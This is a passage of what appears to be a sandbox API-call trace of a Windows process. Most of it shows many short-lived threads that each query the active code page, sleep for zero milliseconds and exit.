os_tid = 0x14c8 [0228.049] GetACP () returned 0x4e4 [0228.049] GetACP () returned 0x4e4 [0228.049] Sleep (dwMilliseconds=0x0) [0228.187] RtlExitUserThread (Status=0x0) Thread: id = 1420 os_tid = 0x14cc [0228.050] GetACP () returned 0x4e4 [0228.050] GetACP () returned 0x4e4 [0228.050] Sleep (dwMilliseconds=0x0) [0228.187] RtlExitUserThread (Status=0x0) Thread: id = 1421 os_tid = 0x14d0 [0228.050] GetACP () returned 0x4e4 [0228.050] GetACP () returned 0x4e4 [0228.051] Sleep (dwMilliseconds=0x0) [0228.188] RtlExitUserThread (Status=0x0) Thread: id = 1422 os_tid = 0x14d4 [0228.051] GetACP () returned 0x4e4 [0228.051] GetACP () returned 0x4e4 [0228.051] Sleep (dwMilliseconds=0x0) [0228.188] RtlExitUserThread (Status=0x0) Thread: id = 1423 os_tid = 0x14d8 [0228.052] GetACP () returned 0x4e4 [0228.052] GetACP () returned 0x4e4 [0228.052] Sleep (dwMilliseconds=0x0) [0228.189] RtlExitUserThread (Status=0x0) Thread: id = 1424 os_tid = 0x14dc [0228.053] GetACP () returned 0x4e4 [0228.053] GetACP () returned 0x4e4 [0228.053] Sleep (dwMilliseconds=0x0) [0228.190] RtlExitUserThread (Status=0x0) Thread: id = 1425 os_tid = 0x14e0 [0228.053] GetACP () returned 0x4e4 [0228.053] GetACP () returned 0x4e4 [0228.053] Sleep (dwMilliseconds=0x0) [0228.190] RtlExitUserThread (Status=0x0) Thread: id = 1426 os_tid = 0x14e4 [0228.054] GetACP () returned 0x4e4 [0228.054] GetACP () returned 0x4e4 [0228.054] Sleep (dwMilliseconds=0x0) [0228.191] RtlExitUserThread (Status=0x0) Thread: id = 1427 os_tid = 0x14e8 [0228.055] GetACP () returned 0x4e4 [0228.055] GetACP () returned 0x4e4 [0228.055] Sleep (dwMilliseconds=0x0) [0228.191] RtlExitUserThread (Status=0x0) Thread: id = 1428 os_tid = 0x14ec [0228.055] GetACP () returned 0x4e4 [0228.055] GetACP () returned 0x4e4 [0228.055] Sleep (dwMilliseconds=0x0) [0228.192] RtlExitUserThread (Status=0x0) Thread: id = 1429 os_tid = 0x14f0 [0228.056] GetACP () returned 0x4e4 [0228.056] GetACP () returned 0x4e4 [0228.056] Sleep (dwMilliseconds=0x0) [0228.192] RtlExitUserThread (Status=0x0) Thread: id = 1430 os_tid = 0x14f4 [0228.057] GetACP () returned 0x4e4 [0228.057] GetACP () returned 0x4e4 [0228.057] Sleep (dwMilliseconds=0x0) [0228.193] RtlExitUserThread (Status=0x0) Thread: id = 1431 os_tid = 0x14f8 [0228.057] GetACP () returned 0x4e4 [0228.057] GetACP () returned 0x4e4 [0228.057] Sleep (dwMilliseconds=0x0) [0228.194] RtlExitUserThread (Status=0x0) Thread: id = 1432 os_tid = 0x14fc [0228.058] GetACP () returned 0x4e4 [0228.058] GetACP () returned 0x4e4 [0228.058] Sleep (dwMilliseconds=0x0) [0228.194] RtlExitUserThread (Status=0x0) Thread: id = 1433 os_tid = 0x1500 [0228.059] GetACP () returned 0x4e4 [0228.059] GetACP () returned 0x4e4 [0228.059] Sleep (dwMilliseconds=0x0) [0228.195] RtlExitUserThread (Status=0x0) Thread: id = 1434 os_tid = 0x1504 [0228.059] GetACP () returned 0x4e4 [0228.059] GetACP () returned 0x4e4 [0228.059] Sleep (dwMilliseconds=0x0) [0228.196] RtlExitUserThread (Status=0x0) Thread: id = 1435 os_tid = 0x1508 [0228.061] GetACP () returned 0x4e4 [0228.061] GetACP () returned 0x4e4 [0228.061] Sleep (dwMilliseconds=0x0) [0228.196] RtlExitUserThread (Status=0x0) Thread: id = 1436 os_tid = 0x150c [0228.061] GetACP () returned 0x4e4 [0228.061] GetACP () returned 0x4e4 [0228.061] Sleep (dwMilliseconds=0x0) [0228.197] RtlExitUserThread (Status=0x0) Thread: id = 1457 os_tid = 0x1560 [0228.198] GetACP () returned 0x4e4 [0228.198] GetACP () returned 0x4e4 [0228.198] Sleep (dwMilliseconds=0x0) [0228.343] RtlExitUserThread (Status=0x0) Thread: id = 1458 os_tid = 0x1564 [0228.198] GetACP () returned 0x4e4 [0228.198] GetACP () returned 0x4e4 [0228.198] Sleep (dwMilliseconds=0x0) [0228.344] RtlExitUserThread (Status=0x0) Thread: id = 1459 os_tid = 0x1568 [0228.199] GetACP () returned 0x4e4 [0228.199] GetACP () returned 0x4e4 [0228.199] Sleep (dwMilliseconds=0x0) [0228.345] RtlExitUserThread (Status=0x0) Thread: id = 1460 os_tid = 0x156c [0228.199] GetACP () returned 0x4e4 [0228.199] GetACP () returned 0x4e4 [0228.199] Sleep (dwMilliseconds=0x0) [0228.346] RtlExitUserThread (Status=0x0) Thread: id = 1461 os_tid = 0x1570 [0228.200] GetACP () returned 0x4e4 [0228.200] GetACP () returned 0x4e4 [0228.200] Sleep (dwMilliseconds=0x0) [0228.346] RtlExitUserThread (Status=0x0) Thread: id = 1462 os_tid = 0x1574 [0228.202] GetACP () returned 0x4e4 [0228.202] GetACP () returned 0x4e4 [0228.202] Sleep (dwMilliseconds=0x0) [0228.349] RtlExitUserThread (Status=0x0) Thread: id = 1463 os_tid = 0x1578 [0228.203] GetACP () returned 0x4e4 [0228.203] GetACP () returned 0x4e4 [0228.203] Sleep (dwMilliseconds=0x0) [0228.350] RtlExitUserThread (Status=0x0) Thread: id = 1464 os_tid = 0x157c [0228.203] GetACP () returned 0x4e4 [0228.203] GetACP () returned 0x4e4 [0228.203] Sleep (dwMilliseconds=0x0) [0228.351] RtlExitUserThread (Status=0x0) Thread: id = 1465 os_tid = 0x1580 [0228.204] GetACP () returned 0x4e4 [0228.204] GetACP () returned 0x4e4 [0228.204] Sleep (dwMilliseconds=0x0) [0228.352] RtlExitUserThread (Status=0x0) Thread: id = 1466 os_tid = 0x1584 [0228.204] GetACP () returned 0x4e4 [0228.204] GetACP () returned 0x4e4 [0228.204] Sleep (dwMilliseconds=0x0) [0228.352] RtlExitUserThread (Status=0x0) Thread: id = 1467 os_tid = 0x1588 [0228.205] GetACP () returned 0x4e4 [0228.205] GetACP () returned 0x4e4 [0228.205] Sleep (dwMilliseconds=0x0) [0228.353] RtlExitUserThread (Status=0x0) Thread: id = 1468 os_tid = 0x158c [0228.205] GetACP () returned 0x4e4 [0228.205] GetACP () returned 0x4e4 [0228.205] Sleep (dwMilliseconds=0x0) [0228.354] RtlExitUserThread (Status=0x0) Thread: id = 1469 os_tid = 0x1590 [0228.206] GetACP () returned 0x4e4 [0228.206] GetACP () returned 0x4e4 [0228.206] Sleep (dwMilliseconds=0x0) [0228.355] RtlExitUserThread (Status=0x0) Thread: id = 1470 os_tid = 0x1594 [0228.206] GetACP () returned 0x4e4 [0228.206] GetACP () returned 0x4e4 [0228.206] Sleep (dwMilliseconds=0x0) [0228.355] RtlExitUserThread (Status=0x0) Thread: id = 1471 os_tid = 0x1598 [0228.207] GetACP () returned 0x4e4 [0228.207] GetACP () returned 0x4e4 [0228.207] Sleep (dwMilliseconds=0x0) [0228.356] RtlExitUserThread (Status=0x0) Thread: id = 1472 os_tid = 0x159c [0228.207] GetACP () returned 0x4e4 [0228.207] GetACP () returned 0x4e4 [0228.207] Sleep (dwMilliseconds=0x0) [0228.357] RtlExitUserThread (Status=0x0) Thread: id = 1473 os_tid = 0x15a0 [0228.208] GetACP () returned 0x4e4 [0228.208] GetACP () returned 0x4e4 [0228.208] Sleep (dwMilliseconds=0x0) [0228.358] RtlExitUserThread (Status=0x0) Thread: id = 1474 os_tid = 0x15a4 [0228.208] GetACP () returned 0x4e4 [0228.208] GetACP () returned 0x4e4 [0228.208] Sleep (dwMilliseconds=0x0) [0228.359] RtlExitUserThread (Status=0x0) Thread: id = 1475 os_tid = 0x15a8 [0228.209] GetACP () returned 0x4e4 [0228.209] GetACP () returned 0x4e4 [0228.209] Sleep (dwMilliseconds=0x0) [0228.360] RtlExitUserThread (Status=0x0) Thread: id = 1476 os_tid = 0x15ac [0228.209] GetACP () returned 0x4e4 [0228.209] GetACP () returned 0x4e4 [0228.209] Sleep (dwMilliseconds=0x0) [0228.361] RtlExitUserThread (Status=0x0) Thread: id = 1497 os_tid = 0x1600 [0228.362] GetACP () returned 0x4e4 [0228.362] GetACP () returned 0x4e4 [0228.362] Sleep (dwMilliseconds=0x0) [0228.499] RtlExitUserThread (Status=0x0) Thread: id = 1498 os_tid = 0x1604 [0228.363] GetACP () returned 0x4e4 [0228.363] GetACP () returned 0x4e4 [0228.363] Sleep (dwMilliseconds=0x0) [0228.500] RtlExitUserThread (Status=0x0) Thread: id = 1499 os_tid = 0x1608 [0228.363] GetACP () returned 0x4e4 [0228.363] GetACP () returned 0x4e4 [0228.363] Sleep (dwMilliseconds=0x0) [0228.501] RtlExitUserThread (Status=0x0) Thread: id = 1500 os_tid = 0x160c [0228.364] GetACP () returned 0x4e4 [0228.364] GetACP () returned 0x4e4 [0228.364] Sleep (dwMilliseconds=0x0) [0228.501] RtlExitUserThread (Status=0x0) Thread: id = 1501 os_tid = 0x1610 [0228.364] GetACP () returned 0x4e4 [0228.365] GetACP () returned 0x4e4 [0228.365] Sleep (dwMilliseconds=0x0) [0228.502] RtlExitUserThread (Status=0x0) Thread: id = 1502 os_tid = 0x1614 [0228.365] GetACP () returned 0x4e4 [0228.365] GetACP () returned 0x4e4 [0228.365] Sleep (dwMilliseconds=0x0) [0228.503] RtlExitUserThread (Status=0x0) Thread: id = 1503 os_tid = 0x1618 [0228.366] GetACP () returned 0x4e4 [0228.366] GetACP () returned 0x4e4 [0228.366] Sleep (dwMilliseconds=0x0) [0228.506] RtlExitUserThread (Status=0x0) Thread: id = 1504 os_tid = 0x161c [0228.367] GetACP () returned 0x4e4 [0228.367] GetACP () returned 0x4e4 [0228.367] Sleep (dwMilliseconds=0x0) [0228.506] RtlExitUserThread (Status=0x0) Thread: id = 1505 os_tid = 0x1620 [0228.367] GetACP () returned 0x4e4 [0228.367] GetACP () returned 0x4e4 [0228.367] Sleep (dwMilliseconds=0x0) [0228.507] RtlExitUserThread (Status=0x0) Thread: id = 1506 os_tid = 0x1624 [0228.368] GetACP () returned 0x4e4 [0228.368] GetACP () returned 0x4e4 [0228.368] Sleep (dwMilliseconds=0x0) [0228.508] RtlExitUserThread (Status=0x0) Thread: id = 1507 os_tid = 0x1628 [0228.369] GetACP () returned 0x4e4 [0228.369] GetACP () returned 0x4e4 [0228.369] Sleep (dwMilliseconds=0x0) [0228.509] RtlExitUserThread (Status=0x0) Thread: id = 1508 os_tid = 0x162c [0228.369] GetACP () returned 0x4e4 [0228.369] GetACP () returned 0x4e4 [0228.369] Sleep (dwMilliseconds=0x0) [0228.509] RtlExitUserThread (Status=0x0) Thread: id = 1509 os_tid = 0x1630 [0228.370] GetACP () returned 0x4e4 [0228.370] GetACP () returned 0x4e4 [0228.370] Sleep (dwMilliseconds=0x0) [0228.510] RtlExitUserThread (Status=0x0) Thread: id = 1510 os_tid = 0x1634 [0228.370] GetACP () returned 0x4e4 [0228.371] GetACP () returned 0x4e4 [0228.371] Sleep (dwMilliseconds=0x0) [0228.511] RtlExitUserThread (Status=0x0) Thread: id = 1511 os_tid = 0x1638 [0228.371] GetACP () returned 0x4e4 [0228.371] GetACP () returned 0x4e4 [0228.371] Sleep (dwMilliseconds=0x0) [0228.512] RtlExitUserThread (Status=0x0) Thread: id = 1512 os_tid = 0x163c [0228.372] GetACP () returned 0x4e4 [0228.373] GetACP () returned 0x4e4 [0228.373] Sleep (dwMilliseconds=0x0) [0228.512] RtlExitUserThread (Status=0x0) Thread: id = 1513 os_tid = 0x1640 [0228.374] GetACP () returned 0x4e4 [0228.374] GetACP () returned 0x4e4 [0228.374] Sleep (dwMilliseconds=0x0) [0228.513] RtlExitUserThread (Status=0x0) Thread: id = 1514 os_tid = 0x1644 [0228.374] GetACP () returned 0x4e4 [0228.374] GetACP () returned 0x4e4 [0228.374] Sleep (dwMilliseconds=0x0) [0228.514] RtlExitUserThread (Status=0x0) Thread: id = 1515 os_tid = 0x1648 [0228.375] GetACP () returned 0x4e4 [0228.375] GetACP () returned 0x4e4 [0228.375] Sleep (dwMilliseconds=0x0) [0228.515] RtlExitUserThread (Status=0x0) Thread: id = 1516 os_tid = 0x164c [0228.376] GetACP () returned 0x4e4 [0228.376] GetACP () returned 0x4e4 [0228.376] Sleep (dwMilliseconds=0x0) [0228.515] RtlExitUserThread (Status=0x0) Thread: id = 1537 os_tid = 0x16a0 [0228.517] GetACP () returned 0x4e4 [0228.517] GetACP () returned 0x4e4 [0228.517] Sleep (dwMilliseconds=0x0) [0228.655] RtlExitUserThread (Status=0x0) Thread: id = 1538 os_tid = 0x16a4 [0228.517] GetACP () returned 0x4e4 [0228.517] GetACP () returned 0x4e4 [0228.517] Sleep (dwMilliseconds=0x0) [0228.656] RtlExitUserThread (Status=0x0) Thread: id = 1539 os_tid = 0x16a8 [0228.518] GetACP () returned 0x4e4 [0228.518] GetACP () returned 0x4e4 [0228.518] Sleep (dwMilliseconds=0x0) [0228.657] RtlExitUserThread (Status=0x0) Thread: id = 1540 os_tid = 0x16ac [0228.519] GetACP () returned 0x4e4 [0228.519] GetACP () returned 0x4e4 [0228.519] Sleep (dwMilliseconds=0x0) [0228.658] RtlExitUserThread (Status=0x0) Thread: id = 1541 os_tid = 0x16b0 [0228.519] GetACP () returned 0x4e4 [0228.519] GetACP () returned 0x4e4 [0228.519] Sleep (dwMilliseconds=0x0) [0228.659] RtlExitUserThread (Status=0x0) Thread: id = 1542 os_tid = 0x16b4 [0228.520] GetACP () returned 0x4e4 [0228.520] GetACP () returned 0x4e4 [0228.520] Sleep (dwMilliseconds=0x0) [0228.660] RtlExitUserThread (Status=0x0) Thread: id = 1543 os_tid = 0x16b8 [0228.521] GetACP () returned 0x4e4 [0228.521] GetACP () returned 0x4e4 [0228.521] Sleep (dwMilliseconds=0x0) [0228.661] RtlExitUserThread (Status=0x0) Thread: id = 1544 os_tid = 0x16bc [0228.521] GetACP () returned 0x4e4 [0228.521] GetACP () returned 0x4e4 [0228.521] Sleep (dwMilliseconds=0x0) [0228.662] RtlExitUserThread (Status=0x0) Thread: id = 1545 os_tid = 0x16c0 [0228.522] GetACP () returned 0x4e4 [0228.522] GetACP () returned 0x4e4 [0228.522] Sleep (dwMilliseconds=0x0) [0228.663] RtlExitUserThread (Status=0x0) Thread: id = 1546 os_tid = 0x16c4 [0228.523] GetACP () returned 0x4e4 [0228.523] GetACP () returned 0x4e4 [0228.523] Sleep (dwMilliseconds=0x0) [0228.664] RtlExitUserThread (Status=0x0) Thread: id = 1547 os_tid = 0x16c8 [0228.523] GetACP () returned 0x4e4 [0228.523] GetACP () returned 0x4e4 [0228.523] Sleep (dwMilliseconds=0x0) [0228.664] RtlExitUserThread (Status=0x0) Thread: id = 1548 os_tid = 0x16cc [0228.524] GetACP () returned 0x4e4 [0228.524] GetACP () returned 0x4e4 [0228.524] Sleep (dwMilliseconds=0x0) [0228.665] RtlExitUserThread (Status=0x0) Thread: id = 1549 os_tid = 0x16d0 [0228.524] GetACP () returned 0x4e4 [0228.524] GetACP () returned 0x4e4 [0228.524] Sleep (dwMilliseconds=0x0) [0228.666] RtlExitUserThread (Status=0x0) Thread: id = 1550 os_tid = 0x16d4 [0228.525] GetACP () returned 0x4e4 [0228.525] GetACP () returned 0x4e4 [0228.525] Sleep (dwMilliseconds=0x0) [0228.667] RtlExitUserThread (Status=0x0) Thread: id = 1551 os_tid = 0x16d8 [0228.526] GetACP () returned 0x4e4 [0228.526] GetACP () returned 0x4e4 [0228.526] Sleep (dwMilliseconds=0x0) [0228.668] RtlExitUserThread (Status=0x0) Thread: id = 1552 os_tid = 0x16dc [0228.526] GetACP () returned 0x4e4 [0228.527] GetACP () returned 0x4e4 [0228.527] Sleep (dwMilliseconds=0x0) [0228.671] RtlExitUserThread (Status=0x0) Thread: id = 1553 os_tid = 0x16e0 [0228.527] GetACP () returned 0x4e4 [0228.527] GetACP () returned 0x4e4 [0228.527] Sleep (dwMilliseconds=0x0) [0228.672] RtlExitUserThread (Status=0x0) Thread: id = 1554 os_tid = 0x16e4 [0228.528] GetACP () returned 0x4e4 [0228.528] GetACP () returned 0x4e4 [0228.528] Sleep (dwMilliseconds=0x0) [0228.673] RtlExitUserThread (Status=0x0) Thread: id = 1555 os_tid = 0x16e8 [0228.528] GetACP () returned 0x4e4 [0228.528] GetACP () returned 0x4e4 [0228.528] Sleep (dwMilliseconds=0x0) [0228.674] RtlExitUserThread (Status=0x0) Thread: id = 1556 os_tid = 0x16ec [0228.549] GetACP () returned 0x4e4 [0228.549] GetACP () returned 0x4e4 [0228.549] Sleep (dwMilliseconds=0x0) [0228.674] RtlExitUserThread (Status=0x0) Thread: id = 1577 os_tid = 0x1744 [0228.676] GetACP () returned 0x4e4 [0228.676] GetACP () returned 0x4e4 [0228.676] Sleep (dwMilliseconds=0x0) [0228.812] RtlExitUserThread (Status=0x0) Thread: id = 1578 os_tid = 0x1748 [0228.676] GetACP () returned 0x4e4 [0228.676] GetACP () returned 0x4e4 [0228.676] Sleep (dwMilliseconds=0x0) [0228.813] RtlExitUserThread (Status=0x0) Thread: id = 1579 os_tid = 0x174c [0228.677] GetACP () returned 0x4e4 [0228.677] GetACP () returned 0x4e4 [0228.677] Sleep (dwMilliseconds=0x0) [0228.813] RtlExitUserThread (Status=0x0) Thread: id = 1580 os_tid = 0x1750 [0228.678] GetACP () returned 0x4e4 [0228.678] GetACP () returned 0x4e4 [0228.678] Sleep (dwMilliseconds=0x0) [0228.814] RtlExitUserThread (Status=0x0) Thread: id = 1581 os_tid = 0x1754 [0228.678] GetACP () returned 0x4e4 [0228.678] GetACP () returned 0x4e4 [0228.678] Sleep (dwMilliseconds=0x0) [0228.815] RtlExitUserThread (Status=0x0) Thread: id = 1582 os_tid = 0x1758 [0228.679] GetACP () returned 0x4e4 [0228.679] GetACP () returned 0x4e4 [0228.679] Sleep (dwMilliseconds=0x0) [0228.815] RtlExitUserThread (Status=0x0) Thread: id = 1583 os_tid = 0x175c [0228.679] GetACP () returned 0x4e4 [0228.679] GetACP () returned 0x4e4 [0228.679] Sleep (dwMilliseconds=0x0) [0228.816] RtlExitUserThread (Status=0x0) Thread: id = 1584 os_tid = 0x1760 [0228.680] GetACP () returned 0x4e4 [0228.680] GetACP () returned 0x4e4 [0228.680] Sleep (dwMilliseconds=0x0) [0228.817] RtlExitUserThread (Status=0x0) Thread: id = 1585 os_tid = 0x1764 [0228.681] GetACP () returned 0x4e4 [0228.681] GetACP () returned 0x4e4 [0228.681] Sleep (dwMilliseconds=0x0) [0228.818] RtlExitUserThread (Status=0x0) Thread: id = 1586 os_tid = 0x1768 [0228.681] GetACP () returned 0x4e4 [0228.681] GetACP () returned 0x4e4 [0228.681] Sleep (dwMilliseconds=0x0) [0228.818] RtlExitUserThread (Status=0x0) Thread: id = 1587 os_tid = 0x176c [0228.682] GetACP () returned 0x4e4 [0228.682] GetACP () returned 0x4e4 [0228.682] Sleep (dwMilliseconds=0x0) [0228.819] RtlExitUserThread (Status=0x0) Thread: id = 1588 os_tid = 0x1770 [0228.682] GetACP () returned 0x4e4 [0228.682] GetACP () returned 0x4e4 [0228.683] Sleep (dwMilliseconds=0x0) [0228.820] RtlExitUserThread (Status=0x0) Thread: id = 1589 os_tid = 0x1774 [0228.683] GetACP () returned 0x4e4 [0228.683] GetACP () returned 0x4e4 [0228.683] Sleep (dwMilliseconds=0x0) [0228.821] RtlExitUserThread (Status=0x0) Thread: id = 1590 os_tid = 0x1778 [0228.684] GetACP () returned 0x4e4 [0228.684] GetACP () returned 0x4e4 [0228.684] Sleep (dwMilliseconds=0x0) [0228.821] RtlExitUserThread (Status=0x0) Thread: id = 1591 os_tid = 0x177c [0228.684] GetACP () returned 0x4e4 [0228.684] GetACP () returned 0x4e4 [0228.684] Sleep (dwMilliseconds=0x0) [0228.822] RtlExitUserThread (Status=0x0) Thread: id = 1592 os_tid = 0x1780 [0228.685] GetACP () returned 0x4e4 [0228.685] GetACP () returned 0x4e4 [0228.685] Sleep (dwMilliseconds=0x0) [0228.823] RtlExitUserThread (Status=0x0) Thread: id = 1593 os_tid = 0x1784 [0228.686] GetACP () returned 0x4e4 [0228.686] GetACP () returned 0x4e4 [0228.686] Sleep (dwMilliseconds=0x0) [0228.823] RtlExitUserThread (Status=0x0) Thread: id = 1594 os_tid = 0x1788 [0228.686] GetACP () returned 0x4e4 [0228.686] GetACP () returned 0x4e4 [0228.686] Sleep (dwMilliseconds=0x0) [0228.824] RtlExitUserThread (Status=0x0) Thread: id = 1595 os_tid = 0x178c [0228.687] GetACP () returned 0x4e4 [0228.687] GetACP () returned 0x4e4 [0228.687] Sleep (dwMilliseconds=0x0) [0228.825] RtlExitUserThread (Status=0x0) Thread: id = 1596 os_tid = 0x1790 [0228.688] GetACP () returned 0x4e4 [0228.688] GetACP () returned 0x4e4 [0228.688] Sleep (dwMilliseconds=0x0) [0228.826] RtlExitUserThread (Status=0x0) Thread: id = 1617 os_tid = 0x17e4 [0228.827] GetACP () returned 0x4e4 [0228.827] GetACP () returned 0x4e4 [0228.827] Sleep (dwMilliseconds=0x0) [0229.014] RtlExitUserThread (Status=0x0) Thread: id = 1618 os_tid = 0x17e8 [0228.828] GetACP () returned 0x4e4 [0228.828] GetACP () returned 0x4e4 [0228.828] Sleep (dwMilliseconds=0x0) [0229.014] RtlExitUserThread (Status=0x0) Thread: id = 1619 os_tid = 0x17ec [0228.829] GetACP () returned 0x4e4 [0228.829] GetACP () returned 0x4e4 [0228.829] Sleep (dwMilliseconds=0x0) [0229.015] RtlExitUserThread (Status=0x0) Thread: id = 1620 os_tid = 0x17f0 [0228.829] GetACP () returned 0x4e4 [0228.829] GetACP () returned 0x4e4 [0228.829] Sleep (dwMilliseconds=0x0) [0229.016] RtlExitUserThread (Status=0x0) Thread: id = 1621 os_tid = 0x17f4 [0228.830] GetACP () returned 0x4e4 [0228.830] GetACP () returned 0x4e4 [0228.830] Sleep (dwMilliseconds=0x0) [0229.016] RtlExitUserThread (Status=0x0) Thread: id = 1622 os_tid = 0x17f8 [0228.831] GetACP () returned 0x4e4 [0228.831] GetACP () returned 0x4e4 [0228.831] Sleep (dwMilliseconds=0x0) [0229.017] RtlExitUserThread (Status=0x0) Thread: id = 1623 os_tid = 0x17fc [0228.831] GetACP () returned 0x4e4 [0228.831] GetACP () returned 0x4e4 [0228.831] Sleep (dwMilliseconds=0x0) [0229.017] RtlExitUserThread (Status=0x0) Thread: id = 1624 os_tid = 0x9b8 [0228.832] GetACP () returned 0x4e4 [0228.832] GetACP () returned 0x4e4 [0228.832] Sleep (dwMilliseconds=0x0) [0229.018] RtlExitUserThread (Status=0x0) Thread: id = 1625 os_tid = 0x9c4 [0228.832] GetACP () returned 0x4e4 [0228.832] GetACP () returned 0x4e4 [0228.832] Sleep (dwMilliseconds=0x0) [0229.018] RtlExitUserThread (Status=0x0) Thread: id = 1626 os_tid = 0xd34 [0228.833] GetACP () returned 0x4e4 [0228.833] GetACP () returned 0x4e4 [0228.833] Sleep (dwMilliseconds=0x0) [0229.019] RtlExitUserThread (Status=0x0) Thread: id = 1627 os_tid = 0xd38 [0228.834] GetACP () returned 0x4e4 [0228.834] GetACP () returned 0x4e4 [0228.834] Sleep (dwMilliseconds=0x0) [0229.020] RtlExitUserThread (Status=0x0) Thread: id = 1628 os_tid = 0xd3c [0228.834] GetACP () returned 0x4e4 [0228.834] GetACP () returned 0x4e4 [0228.834] Sleep (dwMilliseconds=0x0) [0229.021] RtlExitUserThread (Status=0x0) Thread: id = 1629 os_tid = 0xd2c [0228.835] GetACP () returned 0x4e4 [0228.835] GetACP () returned 0x4e4 [0228.835] Sleep (dwMilliseconds=0x0) [0229.021] RtlExitUserThread (Status=0x0) Thread: id = 1630 os_tid = 0xd30 [0228.836] GetACP () returned 0x4e4 [0228.836] GetACP () returned 0x4e4 [0228.836] Sleep (dwMilliseconds=0x0) [0229.022] RtlExitUserThread (Status=0x0) Thread: id = 1631 os_tid = 0xd28 [0228.837] GetACP () returned 0x4e4 [0228.837] GetACP () returned 0x4e4 [0228.837] Sleep (dwMilliseconds=0x0) [0229.023] RtlExitUserThread (Status=0x0) Thread: id = 1632 os_tid = 0x1804 [0228.837] GetACP () returned 0x4e4 [0228.837] GetACP () returned 0x4e4 [0228.837] Sleep (dwMilliseconds=0x0) [0229.024] RtlExitUserThread (Status=0x0) Thread: id = 1633 os_tid = 0x1808 [0228.838] GetACP () returned 0x4e4 [0228.838] GetACP () returned 0x4e4 [0228.838] Sleep (dwMilliseconds=0x0) [0229.024] RtlExitUserThread (Status=0x0) Thread: id = 1634 os_tid = 0x180c [0228.838] GetACP () returned 0x4e4 [0228.838] GetACP () returned 0x4e4 [0228.838] Sleep (dwMilliseconds=0x0) [0229.025] RtlExitUserThread (Status=0x0) Thread: id = 1635 os_tid = 0x1810 [0228.839] GetACP () returned 0x4e4 [0228.839] GetACP () returned 0x4e4 [0228.839] Sleep (dwMilliseconds=0x0) [0229.026] RtlExitUserThread (Status=0x0) Thread: id = 1636 os_tid = 0x1814 [0228.840] GetACP () returned 0x4e4 [0228.840] GetACP () returned 0x4e4 [0228.840] Sleep (dwMilliseconds=0x0) [0229.027] RtlExitUserThread (Status=0x0) Thread: id = 1657 os_tid = 0x1868 [0229.031] GetACP () returned 0x4e4 [0229.031] GetACP () returned 0x4e4 [0229.031] Sleep (dwMilliseconds=0x0) [0229.170] RtlExitUserThread (Status=0x0) Thread: id = 1658 os_tid = 0x186c [0229.032] GetACP () returned 0x4e4 [0229.032] GetACP () returned 0x4e4 [0229.032] Sleep (dwMilliseconds=0x0) [0229.171] RtlExitUserThread (Status=0x0) Thread: id = 1659 os_tid = 0x1870 [0229.032] GetACP () returned 0x4e4 [0229.032] GetACP () returned 0x4e4 [0229.032] Sleep (dwMilliseconds=0x0) [0229.171] RtlExitUserThread (Status=0x0) Thread: id = 1660 os_tid = 0x1874 [0229.033] GetACP () returned 0x4e4 [0229.033] GetACP () returned 0x4e4 [0229.033] Sleep (dwMilliseconds=0x0) [0229.172] RtlExitUserThread (Status=0x0) Thread: id = 1661 os_tid = 0x1878 [0229.034] GetACP () returned 0x4e4 [0229.034] GetACP () returned 0x4e4 [0229.034] Sleep (dwMilliseconds=0x0) [0229.173] RtlExitUserThread (Status=0x0) Thread: id = 1662 os_tid = 0x187c [0229.034] GetACP () returned 0x4e4 [0229.034] GetACP () returned 0x4e4 [0229.034] Sleep (dwMilliseconds=0x0) [0229.173] RtlExitUserThread (Status=0x0) Thread: id = 1663 os_tid = 0x1880 [0229.035] GetACP () returned 0x4e4 [0229.035] GetACP () returned 0x4e4 [0229.035] Sleep (dwMilliseconds=0x0) [0229.174] RtlExitUserThread (Status=0x0) Thread: id = 1664 os_tid = 0x1884 [0229.036] GetACP () returned 0x4e4 [0229.036] GetACP () returned 0x4e4 [0229.036] Sleep (dwMilliseconds=0x0) [0229.175] RtlExitUserThread (Status=0x0) Thread: id = 1665 os_tid = 0x1888 [0229.036] GetACP () returned 0x4e4 [0229.036] GetACP () returned 0x4e4 [0229.036] Sleep (dwMilliseconds=0x0) [0229.176] RtlExitUserThread (Status=0x0) Thread: id = 1666 os_tid = 0x188c [0229.037] GetACP () returned 0x4e4 [0229.037] GetACP () returned 0x4e4 [0229.037] Sleep (dwMilliseconds=0x0) [0229.176] RtlExitUserThread (Status=0x0) Thread: id = 1667 os_tid = 0x1890 [0229.038] GetACP () returned 0x4e4 [0229.038] GetACP () returned 0x4e4 [0229.038] Sleep (dwMilliseconds=0x0) [0229.177] RtlExitUserThread (Status=0x0) Thread: id = 1668 os_tid = 0x1894 [0229.038] GetACP () returned 0x4e4 [0229.038] GetACP () returned 0x4e4 [0229.038] Sleep (dwMilliseconds=0x0) [0229.178] RtlExitUserThread (Status=0x0) Thread: id = 1669 os_tid = 0x1898 [0229.039] GetACP () returned 0x4e4 [0229.039] GetACP () returned 0x4e4 [0229.039] Sleep (dwMilliseconds=0x0) [0229.179] RtlExitUserThread (Status=0x0) Thread: id = 1670 os_tid = 0x189c [0229.040] GetACP () returned 0x4e4 [0229.040] GetACP () returned 0x4e4 [0229.040] Sleep (dwMilliseconds=0x0) [0229.180] RtlExitUserThread (Status=0x0) Thread: id = 1671 os_tid = 0x18a0 [0229.040] GetACP () returned 0x4e4 [0229.040] GetACP () returned 0x4e4 [0229.040] Sleep (dwMilliseconds=0x0) [0229.180] RtlExitUserThread (Status=0x0) Thread: id = 1672 os_tid = 0x18a4 [0229.041] GetACP () returned 0x4e4 [0229.041] GetACP () returned 0x4e4 [0229.041] Sleep (dwMilliseconds=0x0) [0229.181] RtlExitUserThread (Status=0x0) Thread: id = 1673 os_tid = 0x18a8 [0229.042] GetACP () returned 0x4e4 [0229.042] GetACP () returned 0x4e4 [0229.042] Sleep (dwMilliseconds=0x0) [0229.182] RtlExitUserThread (Status=0x0) Thread: id = 1674 os_tid = 0x18ac [0229.042] GetACP () returned 0x4e4 [0229.042] GetACP () returned 0x4e4 [0229.042] Sleep (dwMilliseconds=0x0) [0229.182] RtlExitUserThread (Status=0x0) Thread: id = 1675 os_tid = 0x18b0 [0229.042] GetACP () returned 0x4e4 [0229.042] GetACP () returned 0x4e4 [0229.043] Sleep (dwMilliseconds=0x0) [0229.183] RtlExitUserThread (Status=0x0) Thread: id = 1676 os_tid = 0x18b4 [0229.043] GetACP () returned 0x4e4 [0229.043] GetACP () returned 0x4e4 [0229.043] Sleep (dwMilliseconds=0x0) [0229.184] RtlExitUserThread (Status=0x0) Thread: id = 1717 os_tid = 0x1968 [0231.350] GetACP () returned 0x4e4 [0231.350] GetACP () returned 0x4e4 [0231.350] Sleep (dwMilliseconds=0x0) 